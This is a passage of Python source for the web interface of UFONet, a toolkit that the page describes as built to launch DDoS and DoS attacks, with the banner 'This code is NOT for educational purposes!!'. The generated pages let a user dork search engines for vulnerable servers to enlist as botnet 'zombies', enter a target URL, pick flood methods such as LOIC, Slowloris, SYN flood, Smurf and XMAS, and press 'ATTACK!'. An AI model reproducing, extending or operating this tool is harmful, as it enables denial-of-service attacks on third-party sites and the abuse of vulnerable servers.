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")
  1576. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1577. function Start() {
  1578. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1579. }
  1580. </script>
  1581. <script type="text/javascript">
  1582. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1583. var delay=1;
  1584. var currentChar=1;
  1585. var destination="tt";
  1586. function type()
  1587. {
  1588. if (document.getElementById)
  1589. {
  1590. var dest=document.getElementById(destination);
  1591. if (dest)
  1592. {
  1593. dest.innerHTML=text.substr(0, currentChar);
  1594. currentChar++
  1595. if (currentChar>text.length)
  1596. {
  1597. currentChar=1;
  1598. setTimeout("type()", 5000);
  1599. }
  1600. else
  1601. {
  1602. setTimeout("type()", delay);
  1603. }
  1604. }
  1605. }
  1606. }
  1607. function startTyping(textParam, delayParam, destinationParam)
  1608. {
  1609. text=textParam;
  1610. delay=delayParam;
  1611. currentChar=1;
  1612. destination=destinationParam;
  1613. type();
  1614. }
  1615. </script>
  1616. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1617. </head>
  1618. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1619. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1620. <center><br><br><br><br>
  1621. <table><tr><td><img src="/ufonet-logo.png"></td><td>
  1622. <div class="ufo-cloud">
  1623. <ul>
  1624. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1625. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1626. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1627. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1628. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1629. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1630. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1631. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1632. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1633. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1634. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1635. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1636. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1637. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1638. </ul>
  1639. </div>
  1640. </td></tr></table><br>
  1641. <hr>
  1642. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1643. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1644. <script type="text/javascript">
  1645. startTyping(text, 80, "tt");
  1646. </script><hr><br />
  1647. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1648. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1649. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1650. }
  1651. </script>
  1652. <script>function Missions() {
  1653. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1654. }
  1655. </script>
  1656. <script>function Stats() {
  1657. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1658. }
  1659. </script>
  1660. <script>function Board() {
  1661. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1662. }
  1663. </script>
  1664. </head>
  1665. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1666. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1667. <center>
  1668. <table cellpadding="38" cellspacing="38">
  1669. <tr>
  1670. <td>
  1671. <div class="ringMenu">
  1672. <ul>
  1673. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1674. <li class="top"><a href="botnet">Botnet</a></li>
  1675. <li class="right"><a href="inspect">Inspect</a></li>
  1676. <li class="bottom"><a href="attack">Attack</a></li>
  1677. <li class="left"><a href="help">Help</a></li>
  1678. </ul>
  1679. </div>
  1680. </td>
  1681. <td>
  1682. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1683. <tr>
  1684. <td>
  1685. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1686. ----------------------------------
  1687. """ + self.options.version + """
  1688. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1689. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1690. -----------------------------------
  1691. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1692. - Your ranking is: <b>""" + str(self.ranking) + """</b>
  1693. """+str(self.current_tasks)+"""</td>
  1694. <td>
  1695. <table>
  1696. <tr>
  1697. <td><img src="/images/aliens/alien1.png" onclick="News()"></td>
  1698. <td><img src="/images/aliens/alien2.png" onclick="Missions()"></td>
  1699. </tr>
  1700. <tr>
  1701. <td><img src="/images/aliens/alien5.png" onclick="Stats()"></td>
  1702. <td><img src="/images/aliens/alien4.png" onclick="Board()"></td>
  1703. </tr>
  1704. </table>
  1705. </td>
  1706. </tr>
  1707. </table>
  1708. </td>
  1709. </tr>
  1710. </table>
  1711. <div id="cmdOut"></div>
  1712. """ + self.pages["/footer"]
  1713. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1714. function Requests() {
  1715. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1716. }
  1717. function Maps() {
  1718. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1719. win_map.resizeTo(screen.width,screen.height);
  1720. }
  1721. function Start(){
  1722. dork=document.getElementById("dork").value
  1723. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  1724. if (document.getElementById("autosearch").checked){
  1725. document.getElementById("autosearch").value = "on";
  1726. } else {
  1727. document.getElementById("autosearch").value = "off";
  1728. }
  1729. autosearch = document.getElementById("autosearch").value
  1730. if (document.getElementById("dork_list").checked){
  1731. document.getElementById("dork_list").value = "on";
  1732. } else {
  1733. document.getElementById("dork_list").value = "off";
  1734. }
  1735. dork_list = document.getElementById("dork_list").value
  1736. if(dork == "" && dork_list == "off" && autosearch == "off") {
  1737. window.alert("You need to enter a source for dorking...");
  1738. return
  1739. }else{
  1740. if (document.getElementById("all_engines").checked){
  1741. document.getElementById("all_engines").value = "on";
  1742. } else {
  1743. document.getElementById("all_engines").value = "off";
  1744. }
  1745. all_engines = document.getElementById("all_engines").value
  1746. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)
  1747. runCommandX("cmd_search",params)
  1748. }
  1749. }
  1750. function showHide()
  1751. {
  1752. if(document.getElementById("dork_list").checked)
  1753. {
  1754. document.getElementById("dork_pattern").style.display = "none";
  1755. document.getElementById("autosearch_pattern").style.display = "none";
  1756. }
  1757. else {
  1758. document.getElementById("dork_pattern").style.display = "";
  1759. document.getElementById("autosearch_pattern").style.display = "";
  1760. }
  1761. }
  1762. function showHideEngines()
  1763. {
  1764. if(document.getElementById("all_engines").checked)
  1765. {
  1766. document.getElementById("s_engine").style.display = "none";
  1767. }
  1768. else {
  1769. document.getElementById("s_engine").style.display = "";
  1770. }
  1771. }
  1772. function HideAll()
  1773. {
  1774. if(document.getElementById("autosearch").checked)
  1775. {
  1776. document.getElementById("s_engine").style.display = "none";
  1777. document.getElementById("dork_pattern").style.display = "none";
  1778. document.getElementById("list_pattern").style.display = "none";
  1779. document.getElementById("allengines_pattern").style.display = "none";
  1780. document.getElementById("all_engines").checked = false;
  1781. document.getElementById("dork_list").checked = false;
  1782. document.getElementById("dork").value = "";
  1783. }
  1784. else {
  1785. document.getElementById("s_engine").style.display = "";
  1786. document.getElementById("dork_pattern").style.display = "";
  1787. document.getElementById("list_pattern").style.display = "";
  1788. document.getElementById("allengines_pattern").style.display = "";
  1789. }
  1790. }
  1791. </script>
  1792. <script>function Blackholes() {
  1793. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1794. }
  1795. </script>
  1796. </head>
  1797. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1798. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1799. <center>
  1800. <table cellpadding="38" cellspacing="38">
  1801. <tr>
  1802. <td>
  1803. <div class="ringMenu">
  1804. <ul>
  1805. <li class="main"><a href="botnet">Botnet</a></li>
  1806. <li class="top"><a href="help">Help</a></li>
  1807. <li class="right"><a href="inspect">Inspect</a></li>
  1808. <li class="bottom"><a href="attack">Attack</a></li>
  1809. <li class="left"><a href="gui">RETURN</a></li>
  1810. </ul>
  1811. </div>
  1812. </td>
  1813. <td>
  1814. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1815. <tr><td>
  1816. <pre>
  1817. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  1818. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  1819. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  1820. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  1821. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  1822. * Search using this search engine: <select id="engines_list">
  1823. <!-- <option value="duck" selected>duck</option> [09/08/2016: deprecated! -> duck has removed 'inurl' operator]-->
  1824. <option value="bing">bing</option>
  1825. <option value="yahoo">yahoo</option>
  1826. <!-- <option value="google">google (no TOR!)</option>-->
  1827. <!-- <option value="yandex">yandex</option>-->
  1828. </select></div><div id="allengines_pattern" style="display:block;">
  1829. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div></form>
  1830. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  1831. <br><hr>
  1832. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  1833. <td>
  1834. <table cellpadding="5" cellspacing="2">
  1835. <tr>
  1836. <td><img src="/images/aliens/alien3.png" onclick="Blackholes()"></td>
  1837. </tr>
  1838. <tr>
  1839. <table><tr>
  1840. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  1841. </tr>
  1842. <tr><td><hr></td></tr>
  1843. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  1844. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  1845. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  1846. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  1847. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  1848. </table>
  1849. </table>
  1850. </td>
  1851. </tr></table>
  1852. </td>
  1853. </tr></table>
  1854. <hr>
  1855. <div id="cmdOut"></div>
  1856. """ + self.pages["/footer"]
  1857. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  1858. function Requests() {
  1859. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1860. }
  1861. function Grid() {
  1862. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1863. }
  1864. function Wargames() {
  1865. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1866. }
  1867. function ShowPanel() {
  1868. if (document.getElementById("extra_attack").checked){
  1869. document.getElementById("extra_panel").style.display = "block";
  1870. document.getElementById("loic").value = "";
  1871. document.getElementById("loris").value = "";
  1872. document.getElementById("ufosyn").value = "";
  1873. document.getElementById("spray").value = "";
  1874. document.getElementById("smurf").value = "";
  1875. document.getElementById("xmas").value = "";
  1876. document.getElementById("nuke").value = "";
  1877. document.getElementById("dbstress").value = "";
  1878. } else {
  1879. document.getElementById("extra_panel").style.display = "none";
  1880. document.getElementById("loic").value = "";
  1881. document.getElementById("loris").value = "";
  1882. document.getElementById("ufosyn").value = "";
  1883. document.getElementById("spray").value = "";
  1884. document.getElementById("smurf").value = "";
  1885. document.getElementById("xmas").value = "";
  1886. document.getElementById("nuke").value = "";
  1887. document.getElementById("dbstress").value = "";
  1888. }
  1889. }
  1890. function Maps() {
  1891. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  1892. win_map.resizeTo(screen.width,screen.height);
  1893. }
  1894. function Start(){
  1895. document.getElementById("attack_button").text = "STOP!"
  1896. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  1897. target=document.getElementById("target").value
  1898. String.prototype.startsWith = function(prefix){
  1899. return this.indexOf(prefix) === 0;
  1900. }
  1901. if(target.startsWith("http")){
  1902. path=document.getElementById("path").value
  1903. rounds=document.getElementById("rounds").value
  1904. dbstress=document.getElementById("dbstress").value
  1905. loic=document.getElementById("loic").value
  1906. loris=document.getElementById("loris").value
  1907. ufosyn=document.getElementById("ufosyn").value
  1908. spray=document.getElementById("spray").value
  1909. smurf=document.getElementById("smurf").value
  1910. xmas=document.getElementById("xmas").value
  1911. nuke=document.getElementById("nuke").value
  1912. if(ufosyn || spray || smurf || xmas || nuke){ // root required!
  1913. window.alert("You need 'root' access!. Check shell and enter your password.");
  1914. }
  1915. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)
  1916. if (document.getElementById("visual_attack").checked){
  1917. document.getElementById("visual_attack").value = "on";
  1918. } else {
  1919. document.getElementById("visual_attack").value = "off";
  1920. }
  1921. if(document.getElementById("visual_attack").value=="on"){
  1922. Maps()
  1923. }
  1924. }else{
  1925. window.alert("You need to enter a valid url: http(s)://target.com");
  1926. return
  1927. }
  1928. runCommandX("cmd_attack",params)
  1929. }
  1930. </script>
  1931. </head>
  1932. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1933. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1934. <center>
  1935. <table cellpadding="38" cellspacing="38">
  1936. <tr>
  1937. <td>
  1938. <div class="ringMenu">
  1939. <ul>
  1940. <li class="main"><a href="attack">Attack</a></li>
  1941. <li class="top"><a href="help">Help</a></li>
  1942. <li class="right"><a href="botnet">Botnet</a></li>
  1943. <li class="bottom"><a href="inspect">Inspect</a></li>
  1944. <li class="left"><a href="gui">RETURN</a></li>
  1945. </ul>
  1946. </div>
  1947. </td>
  1948. <td>
  1949. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1950. <tr><td>
  1951. <pre>
  1952. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1953. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  1954. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  1955. <hr>
  1956. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  1957. <hr><div id="extra_panel" style="display:none;">
  1958. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  1959. <td>* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>: <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  1960. <td>* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>: <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  1961. <td>* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>: <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  1962. <td>* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>: <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  1963. <td>* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>: <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  1964. <td>* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>: <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr>
  1965. <tr>
  1966. <td>* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>: <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td></tr>
  1967. </table>
  1968. <hr>
  1969. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  1970. <hr></div>
  1971. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  1972. </td><td>
  1973. <table><tr><td><img src="/images/aliens/alien6.png" onclick="Grid()"></td></tr><tr><td><img src="/images/aliens/alien8.png" onclick="Wargames()"></td></tr></table>
  1974. </td></tr></table>
  1975. </td></tr></table>
  1976. <hr>
  1977. <div id="cmdOut"></div>
  1978. """ + self.pages["/footer"]
  1979. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  1980. function show(one) {
  1981. var nb = document.getElementsByTagName("div");
  1982. for(var x=0; x<nb.length; x++) {
  1983. name = nb[x].getAttribute("class");
  1984. if (name == 'nb') {
  1985. if (nb[x].id == one) {
  1986. nb[x].style.display = 'block';
  1987. }
  1988. else {
  1989. nb[x].style.display = 'none';
  1990. }
  1991. }
  1992. }
  1993. }
  1994. </script>
  1995. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  1996. </head>
  1997. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1998. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1999. <center>
  2000. <table cellpadding="38" cellspacing="38">
  2001. <tr>
  2002. <td>
  2003. <div class="ringMenu">
  2004. <ul>
  2005. <li class="main"><a href="help">Help</a></li>
  2006. <li class="top"><a href="botnet">Botnet</a></li>
  2007. <li class="right"><a href="inspect">Inspect</a></li>
  2008. <li class="bottom"><a href="attack">Attack</a></li>
  2009. <li class="left"><a href="gui">RETURN</a></li>
  2010. </ul>
  2011. </div>
  2012. </td>
  2013. <td>
  2014. <table cellpadding="24" cellspacing="25" border="1">
  2015. <tr><td><pre>
  2016. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2017. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2018. and that allows to combine both in a single offensive.
